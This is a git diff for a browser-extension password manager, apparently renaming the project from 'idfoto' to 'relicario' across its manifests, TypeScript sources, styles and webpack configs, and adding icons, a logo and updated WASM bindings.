"webpack": ["webpack@5.106.1", "", { "dependencies": { "@types/eslint-scope": "^3.7.7", "@types/estree": "^1.0.8", "@types/json-schema": "^7.0.15", "@webassemblyjs/ast": "^1.14.1", "@webassemblyjs/wasm-edit": "^1.14.1", "@webassemblyjs/wasm-parser": "^1.14.1", "acorn": "^8.16.0", "acorn-import-phases": "^1.0.3", "browserslist": "^4.28.1", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.20.0", "es-module-lexer": "^2.0.0", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.3.1", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^4.3.3", "tapable": "^2.3.0", "terser-webpack-plugin": "^5.3.17", "watchpack": "^2.5.1", "webpack-sources": "^3.3.4" }, "bin": { "webpack": "bin/webpack.js" } }, "sha512-EW8af29ak8Oaf4T8k8YsajjrDBDYgnKZ5er6ljWFJsXABfTNowQfvHLftwcepVgdz+IoLSdEAbBiM9DFXoll9w=="],
"webpack-cli": ["webpack-cli@5.1.4", "", { "dependencies": { "@discoveryjs/json-ext": "^0.5.0", "@webpack-cli/configtest": "^2.1.1", "@webpack-cli/info": "^2.0.2", "@webpack-cli/serve": "^2.0.5", "colorette": "^2.0.14", "commander": "^10.0.1", "cross-spawn": "^7.0.3", "envinfo": "^7.7.3", "fastest-levenshtein": "^1.0.12", "import-local": "^3.0.2", "interpret": "^3.1.1", "rechoir": "^0.8.0", "webpack-merge": "^5.7.3" }, "peerDependencies": { "webpack": "5.x.x" }, "bin": { "webpack-cli": "bin/cli.js" } }, "sha512-pIDJHIEI9LR0yxHXQ+Qh95k2EvXpWzZ5l+d+jIo+RdSm9MiHfzazIxwwni/p7+x4eJZuvG1AJwgC4TNQ7NRgsg=="],
"webpack-merge": ["webpack-merge@5.10.0", "", { "dependencies": { "clone-deep": "^4.0.1", "flat": "^5.0.2", "wildcard": "^2.0.0" } }, "sha512-+4zXKdx7UnO+1jaN4l2lHVD+mFvnlZQP/6ljaJVb4SZiwIKeUnrT5l0gkT8z+n4hKpC+jpOv6O9R+gLtag7pSA=="],
"webpack-sources": ["webpack-sources@3.3.4", "", {}, "sha512-7tP1PdV4vF+lYPnkMR0jMY5/la2ub5Fc/8VQrrU+lXkiM6C4TjVfGw7iKfyhnTQOsD+6Q/iKw0eFciziRgD58Q=="],
"which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="],
"wildcard": ["wildcard@2.0.1", "", {}, "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ=="],
"esrecurse/estraverse": ["estraverse@5.3.0", "", {}, "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="],
"fast-glob/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
"jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
"source-map-support/source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="],
"terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
}
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 452 B

After

Width:  |  Height:  |  Size: 3.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 81 B

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 140 B

After

Width:  |  Height:  |  Size: 4.7 KiB

View File

@@ -0,0 +1,30 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" fill="none">
<!-- ID card outer body -->
<rect x="16" y="20" width="96" height="88" rx="6" fill="#0d1117" stroke="#58a6ff" stroke-width="3"/>
<!-- Photo rectangle (left side, dominant) -->
<rect x="26" y="32" width="44" height="64" rx="2" fill="#58a6ff"/>
<!-- Silhouette in photo (cartoony connected portrait) -->
<path d="M 28 96
L 28 92
C 28 84, 34 79, 42 77
L 42 73
C 38 71, 36 66, 36 60
C 36 52, 41 46, 48 46
C 55 46, 60 52, 60 60
C 60 66, 58 71, 54 73
L 54 77
C 62 79, 68 84, 68 92
L 68 96 Z" fill="#0d1117"/>
<!-- Info lines (right side, suggest text without being text) -->
<rect x="78" y="36" width="24" height="4" rx="1" fill="#58a6ff"/>
<rect x="78" y="48" width="20" height="3" rx="1" fill="#30363d"/>
<rect x="78" y="56" width="24" height="3" rx="1" fill="#30363d"/>
<rect x="78" y="64" width="18" height="3" rx="1" fill="#30363d"/>
<!-- Lock icon (security indicator) -->
<rect x="82" y="84" width="16" height="12" rx="1.5" fill="#3fb950"/>
<path d="M85 84 V79 A5 5 0 0 1 95 79 V84" fill="none" stroke="#3fb950" stroke-width="2.5" stroke-linecap="round"/>
<circle cx="90" cy="90" r="1.5" fill="#0d1117"/>
</svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -1,11 +1,16 @@
{
"manifest_version": 3,
"name": "idfoto",
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"icons": {
"16": "icons/icon-16.png",
"48": "icons/icon-48.png",
"128": "icons/icon-128.png"
},
"browser_specific_settings": {
"gecko": {
"id": "idfoto@adlee.work",
"id": "relicario@adlee.work",
"strict_min_version": "128.0"
}
},
@@ -31,6 +36,6 @@
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
},
"web_accessible_resources": [{
"resources": ["setup.html", "setup.js", "styles.css", "idfoto_wasm_bg.wasm", "idfoto_wasm.js"]
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"]
}]
}

View File

@@ -1,8 +1,13 @@
{
"manifest_version": 3,
"name": "idfoto",
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"icons": {
"16": "icons/icon-16.png",
"48": "icons/icon-48.png",
"128": "icons/icon-128.png"
},
"permissions": ["storage", "activeTab", "clipboardWrite"],
"host_permissions": ["<all_urls>"],
"background": {
@@ -26,7 +31,7 @@
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
},
"web_accessible_resources": [{
"resources": ["setup.html", "setup.js", "styles.css", "idfoto_wasm_bg.wasm", "idfoto_wasm.js"],
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"],
"matches": ["<all_urls>"]
}]
}

View File

@@ -1,5 +1,5 @@
{
"name": "idfoto-extension",
"name": "relicario-extension",
"version": "0.1.0",
"private": true,
"scripts": {
@@ -8,7 +8,7 @@
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
"dev": "webpack --mode development --watch",
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
"build:wasm": "wasm-pack build ../crates/idfoto-wasm --target web --out-dir ../../extension/wasm"
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm"
},
"devDependencies": {
"@types/chrome": "^0.1.40",

View File

@@ -3,7 +3,7 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>idfoto — vault setup</title>
<title>relicario — vault setup</title>
<link rel="stylesheet" href="styles.css">
<style>
body {

View File

@@ -4,7 +4,7 @@
/// credentials in the vault. Supports bar and toast prompt styles.
import type { Request, Response } from '../shared/messages';
import type { IdfotoSettings } from '../shared/types';
import type { RelicarioSettings } from '../shared/types';
// --- State ---
@@ -89,8 +89,8 @@ async function onFormSubmit(pwField: HTMLInputElement): Promise<void> {
// Fetch settings for prompt style
const settingsResp = await sendMessage({ type: 'get_settings' });
const settings: IdfotoSettings = settingsResp.ok
? (settingsResp.data as { settings: IdfotoSettings }).settings
const settings: RelicarioSettings = settingsResp.ok
? (settingsResp.data as { settings: RelicarioSettings }).settings
: { captureEnabled: true, captureStyle: 'bar' };
showPrompt(settings.captureStyle, data.action, url, username, password, data.entryId);
@@ -99,7 +99,7 @@ async function onFormSubmit(pwField: HTMLInputElement): Promise<void> {
// --- Prompt UI ---
function removeExistingPrompt(): void {
const existing = document.getElementById('idfoto-capture-prompt');
const existing = document.getElementById('relicario-capture-prompt');
if (existing) existing.remove();
}
@@ -121,7 +121,7 @@ function showPrompt(
}
const container = document.createElement('div');
container.id = 'idfoto-capture-prompt';
container.id = 'relicario-capture-prompt';
// Common styles
const baseStyles = [
@@ -173,17 +173,17 @@ function showPrompt(
<span style="flex:1; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">
${actionLabel} login for <strong style="color:#58a6ff">${escapeForHtml(hostname)}</strong>${escapeForHtml(displayUser)}?
</span>
<button id="idfoto-save-btn" style="
<button id="relicario-save-btn" style="
background:#1f6feb; color:#fff; border:none; padding:5px 14px;
border-radius:3px; cursor:pointer; font-family:inherit; font-size:12px;
white-space:nowrap;
">${actionLabel}</button>
<button id="idfoto-never-btn" style="
<button id="relicario-never-btn" style="
background:transparent; color:#8b949e; border:1px solid #30363d;
padding:5px 10px; border-radius:3px; cursor:pointer;
font-family:inherit; font-size:12px; white-space:nowrap;
">Never</button>
<button id="idfoto-close-btn" style="
<button id="relicario-close-btn" style="
background:transparent; color:#8b949e; border:none;
cursor:pointer; font-size:16px; padding:2px 6px;
font-family:inherit; line-height:1;
@@ -212,7 +212,7 @@ function showPrompt(
};
// Save button
container.querySelector('#idfoto-save-btn')?.addEventListener('click', async () => {
container.querySelector('#relicario-save-btn')?.addEventListener('click', async () => {
clearAutoDismiss();
const now = new Date().toISOString();
@@ -246,22 +246,22 @@ function showPrompt(
// Show confirmation
const span = container.querySelector('span');
if (span) span.textContent = '\u2713 Saved';
const saveBtn = container.querySelector('#idfoto-save-btn') as HTMLElement | null;
const neverBtn = container.querySelector('#idfoto-never-btn') as HTMLElement | null;
const saveBtn = container.querySelector('#relicario-save-btn') as HTMLElement | null;
const neverBtn = container.querySelector('#relicario-never-btn') as HTMLElement | null;
if (saveBtn) saveBtn.style.display = 'none';
if (neverBtn) neverBtn.style.display = 'none';
setTimeout(() => removeExistingPrompt(), 1500);
});
// Never button
container.querySelector('#idfoto-never-btn')?.addEventListener('click', async () => {
container.querySelector('#relicario-never-btn')?.addEventListener('click', async () => {
clearAutoDismiss();
await sendMessage({ type: 'blacklist_site', hostname });
removeExistingPrompt();
});
// Close button
container.querySelector('#idfoto-close-btn')?.addEventListener('click', () => {
container.querySelector('#relicario-close-btn')?.addEventListener('click', () => {
clearAutoDismiss();
removeExistingPrompt();
});

View File

@@ -21,7 +21,7 @@ export function injectFieldIcons(
const icon = document.createElement('div');
icon.textContent = 'id';
icon.setAttribute('role', 'button');
icon.setAttribute('aria-label', 'idfoto autofill');
icon.setAttribute('aria-label', 'relicario autofill');
Object.assign(icon.style, {
position: 'absolute',
@@ -98,10 +98,10 @@ function showPicker(
candidates: Array<[string, ManifestEntry]>,
): void {
// Remove any existing picker.
document.querySelectorAll('.idfoto-picker').forEach(el => el.remove());
document.querySelectorAll('.relicario-picker').forEach(el => el.remove());
const picker = document.createElement('div');
picker.className = 'idfoto-picker';
picker.className = 'relicario-picker';
Object.assign(picker.style, {
position: 'absolute',
right: '0',

View File

@@ -1,7 +1,7 @@
/// Settings view — capture toggle, prompt style, and blacklist management.
import { sendMessage, navigate, escapeHtml } from '../popup';
import type { IdfotoSettings } from '../../shared/types';
import type { RelicarioSettings } from '../../shared/types';
export async function renderSettings(app: HTMLElement): Promise<void> {
app.innerHTML = '<div class="pad" style="text-align:center; padding-top:20px;"><span class="spinner"></span></div>';
@@ -12,8 +12,8 @@ export async function renderSettings(app: HTMLElement): Promise<void> {
sendMessage({ type: 'get_blacklist' }),
]);
const settings: IdfotoSettings = settingsResp.ok
? (settingsResp.data as { settings: IdfotoSettings }).settings
const settings: RelicarioSettings = settingsResp.ok
? (settingsResp.data as { settings: RelicarioSettings }).settings
: { captureEnabled: false, captureStyle: 'bar' };
const blacklist: string[] = blacklistResp.ok
@@ -24,7 +24,7 @@ export async function renderSettings(app: HTMLElement): Promise<void> {
? blacklist.map((h) => `
<div style="display:flex; align-items:center; justify-content:space-between; padding:4px 0; border-bottom:1px solid #21262d;">
<span style="font-size:12px; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(h)}</span>
<button class="idfoto-remove-bl" data-hostname="${escapeHtml(h)}" style="
<button class="relicario-remove-bl" data-hostname="${escapeHtml(h)}" style="
background:transparent; color:#f85149; border:none; cursor:pointer;
font-size:11px; padding:2px 6px;
">remove</button>
@@ -86,7 +86,7 @@ export async function renderSettings(app: HTMLElement): Promise<void> {
});
// Blacklist remove buttons
document.querySelectorAll('.idfoto-remove-bl').forEach((btn) => {
document.querySelectorAll('.relicario-remove-bl').forEach((btn) => {
btn.addEventListener('click', async () => {
const hostname = (btn as HTMLElement).dataset.hostname;
if (hostname) {

View File

@@ -9,7 +9,8 @@ import { escapeHtml } from '../popup';
export function renderSetupWizard(app: HTMLElement): void {
app.innerHTML = `
<div class="pad" style="padding-top:24px;text-align:center;">
<div class="brand" style="font-size:16px;margin-bottom:4px;">idfoto</div>
<img class="brand-logo" src="icons/relicario-logo.svg" alt="">
<div class="brand" style="font-size:16px;margin-bottom:4px;">relicario</div>
<p class="secondary" style="margin-bottom:20px;">two-factor vault</p>
<p class="muted" style="margin-bottom:16px;font-size:11px;line-height:1.6;">

View File

@@ -8,7 +8,8 @@ export function renderUnlock(app: HTMLElement): void {
app.innerHTML = `
<div class="pad" style="text-align:center; padding-top:40px;">
<div class="brand">idfoto</div>
<img class="brand-logo" src="icons/relicario-logo.svg" alt="">
<div class="brand">relicario</div>
<p class="muted" style="margin:8px 0 24px;">two-factor vault</p>
<div class="form-group">
<input

View File

@@ -4,7 +4,7 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=360">
<link rel="stylesheet" href="styles.css">
<title>idfoto</title>
<title>relicario</title>
</head>
<body>
<div id="app"></div>

View File

@@ -1,4 +1,4 @@
/* idfoto extension — terminal dark theme */
/* relicario extension — terminal dark theme */
* {
margin: 0;
@@ -39,6 +39,13 @@ body {
letter-spacing: 1px;
}
.brand-logo {
display: block;
width: 48px;
height: 48px;
margin: 0 auto 8px;
}
.label {
font-size: 11px;
font-weight: 600;

View File

@@ -1,4 +1,4 @@
/// Background script entry point for the idfoto browser extension.
/// Background script entry point for the relicario browser extension.
///
/// In Chrome this runs as a service worker (MV3). In Firefox this runs
/// as a persistent background script. WASM loading adapts automatically.
@@ -7,7 +7,7 @@
/// and routes all messages from the popup and content scripts.
import type { Request, Response } from '../shared/messages';
import type { Manifest, VaultConfig, SetupState, IdfotoSettings } from '../shared/types';
import type { Manifest, VaultConfig, SetupState, RelicarioSettings } from '../shared/types';
import { DEFAULT_SETTINGS } from '../shared/types';
import type { GitHost } from './git-host';
import { createGitHost } from './git-host';
@@ -30,9 +30,9 @@ const totpSecretCache: Map<string, string> = new Map();
// We detect the environment at runtime and use the appropriate loading strategy.
// @ts-ignore TS2307 — resolved by webpack alias / copy
import initDefault, { initSync } from '../../wasm/idfoto_wasm.js';
import initDefault, { initSync } from '../../wasm/relicario_wasm.js';
// @ts-ignore TS2307
import * as wasmBindings from '../../wasm/idfoto_wasm.js';
import * as wasmBindings from '../../wasm/relicario_wasm.js';
type WasmModule = typeof wasmBindings;
let wasm: WasmModule | null = null;
@@ -47,12 +47,12 @@ async function initWasm(): Promise<WasmModule> {
if (isServiceWorker) {
// Chrome: fetch WASM binary and instantiate synchronously
const wasmResponse = await fetch(chrome.runtime.getURL('idfoto_wasm_bg.wasm'));
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
const wasmBytes = await wasmResponse.arrayBuffer();
initSync({ module: new WebAssembly.Module(wasmBytes) });
} else {
// Firefox: background script — async init works
const wasmUrl = chrome.runtime.getURL('idfoto_wasm_bg.wasm');
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
await initDefault(wasmUrl);
}
@@ -86,13 +86,13 @@ async function loadSetupState(): Promise<SetupState> {
// --- Settings & blacklist helpers ---
async function loadSettings(): Promise<IdfotoSettings> {
const result = await chrome.storage.local.get('idfotoSettings');
return (result.idfotoSettings as IdfotoSettings) ?? { ...DEFAULT_SETTINGS };
async function loadSettings(): Promise<RelicarioSettings> {
const result = await chrome.storage.local.get('relicarioSettings');
return (result.relicarioSettings as RelicarioSettings) ?? { ...DEFAULT_SETTINGS };
}
async function saveSettings(settings: IdfotoSettings): Promise<void> {
await chrome.storage.local.set({ idfotoSettings: settings });
async function saveSettings(settings: RelicarioSettings): Promise<void> {
await chrome.storage.local.set({ relicarioSettings: settings });
}
async function loadBlacklist(): Promise<string[]> {

View File

@@ -30,8 +30,8 @@ export interface VaultMeta {
/// Read the vault salt and KDF params from the git repo.
export async function fetchVaultMeta(git: GitHost): Promise<VaultMeta> {
const saltBytes = await git.readFile('.idfoto/salt');
const paramsRaw = await git.readFile('.idfoto/params.json');
const saltBytes = await git.readFile('.relicario/salt');
const paramsRaw = await git.readFile('.relicario/params.json');
const paramsJson = new TextDecoder().decode(paramsRaw);
return { salt: saltBytes, paramsJson };
}

View File

@@ -1,4 +1,4 @@
/// Vault initialization wizard — 4-step flow for creating new idfoto vaults.
/// Vault initialization wizard — 4-step flow for creating new relicario vaults.
///
/// Step 1: Choose host type (Gitea / GitHub)
/// Step 2: Configure connection (URL, repo, token) + test
@@ -11,16 +11,16 @@ import type { VaultConfig } from '../shared/types';
// --- WASM module (loaded dynamically) ---
type WasmModule = typeof import('idfoto-wasm');
type WasmModule = typeof import('relicario-wasm');
let wasm: WasmModule | null = null;
async function loadWasm(): Promise<WasmModule> {
if (wasm) return wasm;
const mod = await import(
// @ts-ignore TS2307 — resolved at runtime, not by TS/webpack
/* webpackIgnore: true */ '../idfoto_wasm.js'
/* webpackIgnore: true */ '../relicario_wasm.js'
) as WasmModule & { default: (input?: string | URL) => Promise<void> };
await mod.default('../idfoto_wasm_bg.wasm');
await mod.default('../relicario_wasm_bg.wasm');
wasm = mod;
return mod;
}
@@ -109,7 +109,8 @@ function render(): void {
app.innerHTML = `
<div class="pad" style="padding-top:12px;">
<div class="brand" style="margin-bottom:4px;">idfoto vault setup</div>
<img class="brand-logo" src="icons/relicario-logo.svg" alt="" style="margin-bottom:12px;">
<div class="brand" style="margin-bottom:4px;">relicario vault setup</div>
${progressHtml}
${state.error ? `<div class="error">${escapeHtml(state.error)}</div>` : ''}
${stepHtml}
@@ -411,14 +412,14 @@ function attachStep3(): void {
const host = createGitHost(state.hostType, hostUrl, state.repoPath, state.apiToken);
await host.writeFile(
'.idfoto/salt',
'.relicario/salt',
salt,
'init: vault salt',
);
const paramsBytes = new TextEncoder().encode(paramsJson);
await host.writeFile(
'.idfoto/params.json',
'.relicario/params.json',
paramsBytes,
'init: KDF parameters',
);
@@ -426,7 +427,7 @@ function attachStep3(): void {
const devicesJson = '{"devices":[]}';
const devicesBytes = new TextEncoder().encode(devicesJson);
await host.writeFile(
'.idfoto/devices.json',
'.relicario/devices.json',
devicesBytes,
'init: device registry',
);

View File

@@ -23,7 +23,7 @@ export type Request =
| { type: 'check_credential'; url: string; username: string; password: string }
| { type: 'blacklist_site'; hostname: string }
| { type: 'get_settings' }
| { type: 'update_settings'; settings: Partial<import('./types').IdfotoSettings> }
| { type: 'update_settings'; settings: Partial<import('./types').RelicarioSettings> }
| { type: 'get_blacklist' }
| { type: 'remove_blacklist'; hostname: string };

View File

@@ -1,4 +1,4 @@
/// Full credential entry (matches Rust Entry struct in idfoto-core).
/// Full credential entry (matches Rust Entry struct in relicario-core).
export interface Entry {
name: string;
url?: string;
@@ -42,12 +42,12 @@ export interface SetupState {
}
/// User-configurable credential capture settings.
export interface IdfotoSettings {
export interface RelicarioSettings {
captureEnabled: boolean;
captureStyle: 'bar' | 'toast';
}
export const DEFAULT_SETTINGS: IdfotoSettings = {
export const DEFAULT_SETTINGS: RelicarioSettings = {
captureEnabled: false,
captureStyle: 'bar',
};

View File

@@ -1,25 +1,58 @@
/// Type declarations for the idfoto WASM module produced by wasm-pack.
// Thin TypeScript declarations for the relicario-wasm bindings.
// These are hand-written to mirror the #[wasm_bindgen] signatures in
// crates/relicario-wasm/src/lib.rs; keep them in sync manually.
// Ambient module declarations for the WASM glue code.
// The module specifier must exactly match what's used in import statements.
declare module 'idfoto-wasm' {
export default function init(input?: string | URL): Promise<void>;
export function derive_master_key(
passphrase: string,
image_secret: Uint8Array,
salt: Uint8Array,
params_json: string,
): Uint8Array;
export function encrypt(plaintext: Uint8Array, key: Uint8Array): Uint8Array;
export function decrypt(ciphertext: Uint8Array, key: Uint8Array): Uint8Array;
export function extract_image_secret(jpeg_bytes: Uint8Array): Uint8Array;
export function embed_image_secret(carrier_jpeg: Uint8Array, secret: Uint8Array): Uint8Array;
export function encrypt_entry(entry_json: string, key: Uint8Array): Uint8Array;
export function decrypt_entry(ciphertext: Uint8Array, key: Uint8Array): string;
export function encrypt_manifest(manifest_json: string, key: Uint8Array): Uint8Array;
export function decrypt_manifest(ciphertext: Uint8Array, key: Uint8Array): string;
export function generate_totp(secret_base32: string, timestamp_secs: bigint): string;
export function generate_password(length: number): string;
export function generate_entry_id(): string;
export class SessionHandle {
readonly value: number;
free(): void;
}
export class EncryptedAttachment {
readonly aid: string;
readonly bytes: Uint8Array;
free(): void;
}
export class TotpCode {
readonly code: string;
readonly expires_at: number;
free(): void;
}
export function unlock(
passphrase: string,
image_bytes: Uint8Array,
salt: Uint8Array,
params_json: string,
): SessionHandle;
export function lock(handle: SessionHandle): boolean;
export function manifest_decrypt(handle: SessionHandle, encrypted: Uint8Array): unknown;
export function manifest_encrypt(handle: SessionHandle, manifest_json: string): Uint8Array;
export function item_decrypt(handle: SessionHandle, encrypted: Uint8Array): unknown;
export function item_encrypt(handle: SessionHandle, item_json: string): Uint8Array;
export function settings_decrypt(handle: SessionHandle, encrypted: Uint8Array): unknown;
export function settings_encrypt(handle: SessionHandle, settings_json: string): Uint8Array;
export function attachment_encrypt(
handle: SessionHandle,
plaintext: Uint8Array,
max_bytes: bigint,
): EncryptedAttachment;
export function attachment_decrypt(handle: SessionHandle, encrypted: Uint8Array): Uint8Array;
export function new_item_id(): string;
export function new_field_id(): string;
export function generate_password(request_json: string): string;
export function generate_passphrase(request_json: string): string;
export function rate_passphrase(p: string): { score: number; guesses_log10: number };
export function extract_image_secret(image_bytes: Uint8Array): Uint8Array;
export function embed_image_secret(carrier: Uint8Array, secret: Uint8Array): Uint8Array;
export function totp_compute(config_json: string, now_unix_seconds: bigint): TotpCode;
// Initializer (wasm-bindgen's default init function).
export default function init(module_or_path?: unknown): Promise<void>;

View File

@@ -10,7 +10,7 @@
"sourceMap": true,
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"paths": {
"idfoto-wasm": ["./wasm/idfoto_wasm.js"]
"relicario-wasm": ["./wasm/relicario_wasm.js"]
},
"baseUrl": "."
},

View File

@@ -27,8 +27,8 @@ module.exports = {
{ from: 'src/popup/styles.css', to: 'styles.css' },
{ from: 'setup.html', to: '.' },
{ from: 'icons', to: 'icons' },
{ from: 'wasm/idfoto_wasm_bg.wasm', to: '.' },
{ from: 'wasm/idfoto_wasm.js', to: '.' },
{ from: 'wasm/relicario_wasm_bg.wasm', to: '.' },
{ from: 'wasm/relicario_wasm.js', to: '.' },
],
}),
],

View File

@@ -27,8 +27,8 @@ module.exports = {
{ from: 'src/popup/styles.css', to: 'styles.css' },
{ from: 'setup.html', to: '.' },
{ from: 'icons', to: 'icons' },
{ from: 'wasm/idfoto_wasm_bg.wasm', to: '.' },
{ from: 'wasm/idfoto_wasm.js', to: '.' },
{ from: 'wasm/relicario_wasm_bg.wasm', to: '.' },
{ from: 'wasm/relicario_wasm.js', to: '.' },
],
}),
],

BIN
manifest.enc Normal file

Binary file not shown.

BIN
settings.enc Normal file

Binary file not shown.